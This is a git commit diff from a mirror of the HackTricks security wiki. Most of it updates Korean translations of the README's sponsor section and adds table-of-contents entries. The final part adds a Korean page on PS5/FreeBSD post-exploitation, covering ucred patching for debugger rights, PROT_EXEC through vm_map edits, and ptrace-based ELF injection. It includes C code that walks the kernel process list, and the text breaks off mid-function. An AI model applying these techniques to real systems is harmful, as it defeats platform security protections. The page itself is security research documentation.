mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
4d2816d562
commit
26ece63d68
File diff suppressed because one or more lines are too long
114
src/README.md
114
src/README.md
@ -2,7 +2,7 @@
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks 로고 및 모션 디자인_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks 로고 및 모션 디자인_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### HackTricks를 로컬에서 실행하기
|
||||
```bash
|
||||
@ -31,19 +31,21 @@ export LANG="master" # Leave master for english
|
||||
# Run the docker container indicating the path to the hacktricks folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
당신의 로컬 HackTricks 복사본은 **<5분 후에 [http://localhost:3337](http://localhost:3337)** **사용 가능할 것입니다 (책을 빌드해야 하므로, 인내심을 가지세요).**
|
||||
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
|
||||
|
||||
## 기업 후원사
|
||||
당신의 로컬 HackTricks 복사본은 <5분 후 **[http://localhost:3337](http://localhost:3337)**에서 이용할 수 있습니다(책을 빌드해야 하므로 잠시 기다려 주세요).
|
||||
|
||||
## Corporate Sponsors
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com)는 **HACK THE UNHACKABLE**라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 그들은 자체 연구를 수행하고 **여러 가치 있는 사이버 보안 서비스**를 제공하기 위해 자체 해킹 도구를 개발합니다. 이러한 서비스에는 pentesting, Red 팀 및 교육이 포함됩니다.
|
||||
[**STM Cyber**](https://www.stmcyber.com)은 슬로건이 **HACK THE UNHACKABLE**인 훌륭한 사이버보안 회사입니다. 자체 연구를 수행하고 자체 해킹 도구를 개발하여 pentesting, Red teams 및 교육과 같은 **여러 가치 있는 사이버보안 서비스를 제공합니다**.
|
||||
|
||||
그들의 **블로그**를 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다.
|
||||
그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다
|
||||
|
||||
**STM Cyber**는 HackTricks와 같은 사이버 보안 오픈 소스 프로젝트도 지원합니다 :)
|
||||
**STM Cyber**는 또한 HackTricks와 같은 사이버보안 오픈 소스 프로젝트를 지원합니다 :)
|
||||
|
||||
---
|
||||
|
||||
@ -51,7 +53,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
|
||||
|
||||
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버보안 행사이자 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식의 증진**이라는 사명을 가지고 이 컨퍼런스는 모든 분야의 기술 및 사이버보안 전문가들이 모이는 활발한 만남의 장입니다.
|
||||
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
@ -63,9 +65,9 @@ https://www.rootedcon.com/
|
||||
|
||||
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
|
||||
**Intigriti**는 **유럽의 #1** ethical hacking 및 **bug bounty 플랫폼**입니다.
|
||||
|
||||
**버그 바운티 팁**: **Intigriti**에 **가입**하세요. 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요!
|
||||
**Bug bounty tip**: **Intigriti**에 **가입**하세요 — 해커가 만들고 해커를 위해 만든 프리미엄 bug bounty 플랫폼입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하여 최대 **$100,000**의 보상을 받아보세요!
|
||||
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
@ -78,9 +80,9 @@ https://go.intigriti.com/hacktricks
|
||||
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 손쉽게 구축하고 자동화하세요.
|
||||
|
||||
오늘 액세스하세요:
|
||||
지금 이용해보세요:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
@ -92,23 +94,25 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
|
||||
|
||||
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
- **해킹 통찰력:** 해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요.
|
||||
- **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
|
||||
- **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
||||
- **Hacking Insights:** 해킹의 짜릿함과 도전 과제를 다루는 콘텐츠를 접하세요
|
||||
- **Real-Time Hack News:** 빠르게 변화하는 해킹 세계의 뉴스와 인사이트를 실시간으로 확인하세요
|
||||
- **Latest Announcements:** 새로 출시되는 bug bounty와 중요한 플랫폼 업데이트 정보를 받아보세요
|
||||
|
||||
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
---
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - 필수 침투 테스트 도구 키트
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾고, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**웹 애플리케이션, 네트워크 및 클라우드에 대해 해커의 관점으로 진단하세요**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -120,22 +124,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
|
||||
|
||||
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi**는 **검색 엔진 결과**에 **빠르고 쉽게** 접근할 수 있는 실시간 API를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하고, 캡차를 해결하며, 모든 풍부한 구조화된 데이터를 파싱합니다.
|
||||
**SerpApi**는 검색 엔진 결과에 실시간으로 빠르고 쉽게 접근할 수 있는 API를 제공합니다. 그들은 검색 엔진을 크롤링하고, 프록시를 처리하며, 캡차를 해결하고, 모든 구조화된 풍부한 데이터를 파싱해 줍니다.
|
||||
|
||||
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
|
||||
SerpApi의 구독 플랜 하나로 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하는 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공자와 달리, **SerpApi는 단순히 유기적 결과만 스크래핑하지 않습니다**. SerpApi 응답에는 광고, 인라인 이미지 및 비디오, knowledge graphs 등 검색 결과에 포함된 모든 요소와 기능이 일관되게 포함됩니다.
|
||||
|
||||
현재 SerpApi 고객에는 **Apple, Shopify, GrubHub**가 포함됩니다.\
|
||||
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
|
||||
여기에서 **무료 계정**을 [**생성**](https://serpapi.com/users/sign_up)할 수 있습니다.**
|
||||
자세한 내용은 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**playground**](https://serpapi.com/playground)에서 예제를 실행해 보세요.\
|
||||
[**여기**](https://serpapi.com/users/sign_up)에서 무료 계정을 생성할 수 있습니다.
|
||||
|
||||
---
|
||||
|
||||
### [8kSec Academy – 심층 모바일 보안 과정](https://academy.8ksec.io/)
|
||||
### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
취약점 연구, 침투 테스트 및 리버스 엔지니어링을 수행하여 모바일 애플리케이션과 장치를 보호하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 iOS 및 Android 보안을 **마스터**하고 **인증을 받으세요**:
|
||||
모바일 애플리케이션과 기기를 보호하기 위해 취약점 연구, 침투 테스트, 리버스 엔지니어링에 필요한 기술과 역량을 배우세요. **iOS 및 Android 보안**을 온디맨드 코스로 학습하고 **인증**을 받으세요:
|
||||
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
@ -147,13 +151,13 @@ https://academy.8ksec.io/
|
||||
|
||||
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.net)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계**의 기업을 최신 사이버 보안 위협으로부터 **보호**하기 위해 **공격 보안 서비스**를 제공합니다.
|
||||
[**WebSec**](https://websec.net)는 **암스테르담**에 본사를 둔 전문 사이버보안 회사로, **전 세계 기업들을 보호**하기 위해 현대적인 접근 방식으로 **offensive-security services**를 제공합니다.
|
||||
|
||||
WebSec는 암스테르담과 와이오밍에 사무소를 둔 국제 보안 회사입니다. 그들은 **올인원 보안 서비스**를 제공하며, 이는 모든 것을 포함합니다; Pentesting, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 검토, 익스플로잇 개발, 보안 전문가 아웃소싱 등입니다.
|
||||
WebSec는 암스테르담과 Wyoming에 사무소를 둔 국제 보안 회사입니다. 그들은 Pentesting, **Security** 감사, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing 등 **올인원 보안 서비스**를 제공합니다.
|
||||
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.net/en/)와 [**블로그**](https://websec.net/blog/)를 확인하세요!
|
||||
WebSec의 또 다른 장점은 업계 평균과 달리 스스로의 역량에 **매우 자신감**을 가지고 있으며, 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다: "**If we can't hack it, You don't pay it!**". 자세한 내용은 그들의 [**웹사이트**](https://websec.net/en/)와 [**블로그**](https://websec.net/blog/)를 확인하세요!
|
||||
|
||||
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
|
||||
또한 WebSec는 HackTricks의 적극적인 후원사입니다.
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
@ -165,10 +169,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
|
||||
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
|
||||
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 데이터 유출 검색 엔진입니다. \
|
||||
우리는 모든 유형의 데이터 유출에 대해 무작위 문자열 검색(구글과 유사)을 제공합니다. \
|
||||
사람 검색, AI 검색, 조직 검색, API (OpenAPI) 접근, theHarvester 통합 등, 모든 기능이 pentester에게 필요합니다.\
|
||||
**HackTricks는 우리 모두에게 훌륭한 학습 플랫폼으로 계속되고 있으며, 우리는 이를 후원하게 되어 자랑스럽습니다!**
|
||||
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)는 데이터 유출 (leak) 검색 엔진입니다. \
|
||||
우리는 대형이든 소형이든 모든 유형의 데이터 leak에 대해 구글과 유사한 랜덤 문자열 검색을 제공합니다 -- 대형 사례뿐만 아니라 다양한 출처의 데이터를 대상으로 합니다. \
|
||||
사람 검색, AI 검색, 조직 검색, API (OpenAPI) 접근, theHarvester 통합 등 pentester가 필요로 하는 모든 기능을 제공합니다.\
|
||||
**HackTricks는 계속해서 우리 모두에게 훌륭한 학습 플랫폼이며, 저희는 이를 후원하게 되어 자랑스럽습니다!**
|
||||
|
||||
{{#ref}}
|
||||
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
@ -180,13 +184,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
|
||||
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
|
||||
|
||||
**현장을 위해 만들어졌습니다. 당신을 중심으로 만들어졌습니다.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 구축하고 이끄는 효과적인 사이버 보안 교육을 개발하고 제공합니다. 그들의 프로그램은 이론을 넘어 팀에 깊은 이해와 실행 가능한 기술을 제공하며, 실제 위협을 반영하는 맞춤형 환경을 사용합니다. 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)에서 문의하세요.
|
||||
|
||||
**그들의 교육을 차별화하는 요소:**
|
||||
* 맞춤형 콘텐츠 및 실습실
|
||||
* 최고급 도구 및 플랫폼 지원
|
||||
* 실무자에 의해 설계되고 교육됨
|
||||
**Built for the field. Built around you.**\
|
||||
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks)는 업계 전문가들이 설계하고 주도하는 효과적인 사이버보안 교육을 개발하고 제공합니다. 그들의 프로그램은 이론을 넘어 실제 위협을 반영한 맞춤형 환경을 사용하여 팀에게 깊이 있는 이해와 실전 가능한 기술을 제공합니다. 맞춤형 교육 문의는 [**여기**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)를 통해 문의하세요.
|
||||
|
||||
**그들의 교육이 특별한 이유:**
|
||||
* 맞춤형 콘텐츠 및 실습 환경
|
||||
* 최고 수준의 도구 및 플랫폼 지원
|
||||
* 현업 실무자가 설계하고 강의
|
||||
|
||||
{{#ref}}
|
||||
https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
@ -198,13 +203,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
|
||||
|
||||
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
|
||||
|
||||
Last Tower Solutions는 **교육** 및 **핀테크** 기관을 위한 전문 사이버 보안 서비스를 제공하며, **침투 테스트, 클라우드 보안 평가** 및 **준수 준비**(SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀은 **OSCP 및 CISSP 인증 전문가**로 구성되어 있으며, 모든 참여에 깊은 기술 전문성과 업계 표준 통찰력을 제공합니다.
|
||||
Last Tower Solutions는 **교육(Education)** 및 **핀테크(FinTech)** 기관을 위한 전문화된 사이버보안 서비스를 제공하며, 특히 **penetration testing, cloud security assessments**, 및 **compliance readiness**(SOC 2, PCI-DSS, NIST)에 중점을 둡니다. 우리 팀에는 **OSCP 및 CISSP 자격 보유 전문가**가 포함되어 있어 깊은 기술 전문성과 업계 표준 통찰을 제공합니다.
|
||||
|
||||
우리는 **수동적이고 정보 기반의 테스트**를 통해 자동화된 스캔을 넘어 고위험 환경에 맞춤화된 서비스를 제공합니다. 학생 기록을 보호하는 것부터 금융 거래를 보호하는 것까지, 우리는 조직이 가장 중요한 것을 방어하도록 돕습니다.
|
||||
우리는 자동화된 스캔을 넘어 **수동 기반의 인텔리전스 주도 테스트**를 통해 고위험 환경에 맞춤형 테스트를 제공합니다. 학생 기록 보호에서 금융 거래 보안에 이르기까지, 중요한 자산을 방어할 수 있도록 돕습니다.
|
||||
|
||||
_“양질의 방어는 공격을 아는 것을 요구합니다. 우리는 이해를 통해 보안을 제공합니다.”_
|
||||
_“질 좋은 방어는 공격을 이해하는 데서 시작됩니다. 우리는 이해를 통한 보안을 제공합니다.”_
|
||||
|
||||
최신 사이버 보안 정보를 얻으려면 우리의 [**블로그**](https://www.lasttowersolutions.com/blog)를 방문하세요.
|
||||
최신 사이버보안 소식을 보려면 그들의 [**블로그**](https://www.lasttowersolutions.com/blog)를 방문하세요.
|
||||
|
||||
{{#ref}}
|
||||
https://www.lasttowersolutions.com/
|
||||
@ -212,7 +217,22 @@ https://www.lasttowersolutions.com/
|
||||
|
||||
---
|
||||
|
||||
## 라이센스 및 면책 조항
|
||||
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
|
||||
|
||||
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
|
||||
|
||||
K8Studio IDE는 DevOps, DevSecOps 및 개발자들이 Kubernetes 클러스터를 효율적으로 관리, 모니터링 및 보호할 수 있도록 지원합니다. AI 기반 인사이트, 고급 보안 프레임워크 및 직관적인 CloudMaps GUI를 활용하여 클러스터를 시각화하고 상태를 파악하며 자신 있게 조치할 수 있습니다.
|
||||
|
||||
또한 K8Studio는 모든 주요 kubernetes 배포판(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 등)과 **호환됩니다**.
|
||||
|
||||
{{#ref}}
|
||||
https://k8studio.io/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
---
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
다음에서 확인하세요:
|
||||
|
||||
@ -220,8 +240,8 @@ https://www.lasttowersolutions.com/
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
{{#endref}}
|
||||
|
||||
## Github 통계
|
||||
## Github Stats
|
||||
|
||||

|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -59,6 +59,7 @@
|
||||
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
|
||||
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
@ -82,6 +83,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
@ -102,6 +104,7 @@
|
||||
|
||||
# 🐧 Linux Hardening
|
||||
|
||||
- [Linux Basics](linux-hardening/linux-basics.md)
|
||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||
@ -570,6 +573,7 @@
|
||||
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
|
||||
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
|
||||
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
|
||||
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
|
||||
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
|
||||
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
|
||||
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
|
||||
@ -587,6 +591,7 @@
|
||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
@ -843,6 +848,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
|
@ -0,0 +1,183 @@
|
||||
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 사례 연구)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
이 페이지는 FreeBSD 기반인 PlayStation 5 (PS5)에서의 실용적인 Unix/BSD 유저모드 프로세스/ELF 인젝션 기법을 문서화한다. 이 방법은 이미 kernel read/write (R/W) primitives를 보유한 경우 FreeBSD 파생판으로 일반화된다. 주요 내용:
|
||||
|
||||
- 현재 프로세스의 credentials (ucred)을 패치하여 디버거 권한을 부여하고, 임의 사용자 프로세스에 대해 ptrace/mdbg를 가능하게 한다.
|
||||
- kernel allproc 리스트를 순회하여 대상 프로세스를 찾는다.
|
||||
- 커널 데이터 쓰기를 통해 대상의 vm_map에서 vm_map_entry.protection |= PROT_EXEC를 설정하여 PROT_EXEC 제한을 우회한다.
|
||||
- ptrace를 사용해 Remote Function Invocation (RFI)을 수행: 스레드를 일시중단하고, 레지스터를 설정하여 대상 내부의 임의 함수를 호출한 뒤 재개하고, 반환값을 수집하고 상태를 복원한다.
|
||||
- 프로세스 내 ELF 로더를 사용해 대상 내부에 임의의 ELF 페이로드를 매핑하고 실행한 다음, 페이로드를 실행하고 breakpoint를 트리거하여 깔끔하게 detach하는 전용 스레드를 생성한다.
|
||||
|
||||
이 기법과 관련해 주목할 PS5 하이퍼바이저 완화책:
|
||||
- XOM (execute-only .text)는 커널 .text의 읽기/쓰기를 차단한다.
|
||||
- CR0.WP를 클리어하거나 CR4.SMEP를 비활성화하면 하이퍼바이저 vmexit(크래시)를 초래한다. 데이터 전용 커널 쓰기만 가능하다.
|
||||
- 유저랜드 mmap은 기본적으로 PROT_READ|PROT_WRITE로 제한된다. PROT_EXEC 부여는 커널 메모리의 vm_map 엔트리를 편집하여 수행해야 한다.
|
||||
|
||||
이 기법은 포스트-익스플로이테이션이다: 익스플로잇 체인으로 얻은 kernel R/W primitives를 가정한다. 공개 페이로드들은 작성 시점의 펌웨어 10.01까지 이를 시연한다.
|
||||
|
||||
## Kernel data-only primitives
|
||||
|
||||
### allproc를 통한 프로세스 탐색
|
||||
|
||||
FreeBSD는 kernel .data의 allproc에 프로세스의 이중 연결 리스트를 유지한다. kernel read primitive로 이를 순회하여 프로세스 이름과 PID를 찾는다:
|
||||
```c
|
||||
struct proc* find_proc_by_name(const char* proc_name){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
|
||||
if (!strcmp(proc->p_comm, proc_name)) return proc;
|
||||
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
|
||||
} while (next);
|
||||
free(proc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void list_all_proc_and_pid(){
|
||||
uint64_t next = 0;
|
||||
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
|
||||
struct proc* proc = malloc(sizeof(struct proc));
|
||||
do{
|
||||
kernel_copyout(next, (void*)proc, sizeof(struct proc));
|
||||
printf("%s - %d\n", proc->p_comm, proc->pid);
|
||||
kernel_copyout(next, &next, sizeof(uint64_t));
|
||||
} while (next);
|
||||
free(proc);
|
||||
}
|
||||
```
|
||||
Notes:
|
||||
- KERNEL_ADDRESS_ALLPROC는 펌웨어에 따라 다릅니다.
|
||||
- p_comm은 고정 크기 이름입니다; 필요하면 pid->proc 조회를 고려하세요.
|
||||
|
||||
### 디버깅을 위한 권한 상승 (ucred)
|
||||
|
||||
PS5에서는 struct ucred가 proc->p_ucred를 통해 접근 가능한 Authority ID 필드를 포함합니다. 디버거 Authority ID를 써 넣으면 다른 프로세스에 대한 ptrace/mdbg 권한이 부여됩니다:
|
||||
```c
|
||||
void set_ucred_to_debugger(){
|
||||
struct proc* proc = get_proc_by_pid(getpid());
|
||||
if (proc){
|
||||
uintptr_t authid = 0; // read current (optional)
|
||||
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
|
||||
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
|
||||
